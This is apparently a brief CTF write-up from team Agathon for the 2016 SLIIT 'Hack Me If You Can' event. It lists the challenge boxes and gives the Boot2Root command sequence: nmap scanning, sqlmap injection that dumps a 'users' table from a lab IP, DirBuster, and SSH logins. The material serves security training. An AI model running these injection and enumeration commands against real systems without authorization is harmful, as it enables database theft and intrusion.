Hack Me If You Can CTF 2016-SLIIT

Hack me if you can CTF is an event that organized by SLIIT Cyber Security students, We team Agathon won Gold award this year and last year.this CTF was jeopardy style one and it contained  5 CTF boxes

1. Boot2root
2. Hack Edu
3. Prankster
4. root2Linux
5. Catch the Droid

within 8 Hours Teams must break these 5 boxes.

here b2r,

Level 1: exploit vulnerable

Level 2:Basic Decoding

Level 3:Analytical skills

Level 4:Basic Crypto

Level 5:Stego(but you can bypass this one)

Boot2Root

#Commands
nmap -sP 192.168.1.0/24
nmap -vv 192.168.1.107
sqlmap -u "http://192.168.1.107/page.php?id=2" --dbs
sqlmap -u "http://192.168.1.107/page.php?id=2" --tables -D ctf
sqlmap -u "http://192.168.1.107/page.php?id=2" -T users -D ctf --columns
sqlmap -u "http://192.168.1.107/page.php?id=2" -T users -D ctf --dump
java -jar DirBuster-0.12.jar
ssh user1@192.168.1.107
ssh user2@192.168.1.107
ssh user3@192.168.1.107
ssh user4@192.168.1.107

i’ll write about root2Linux and Prankster later.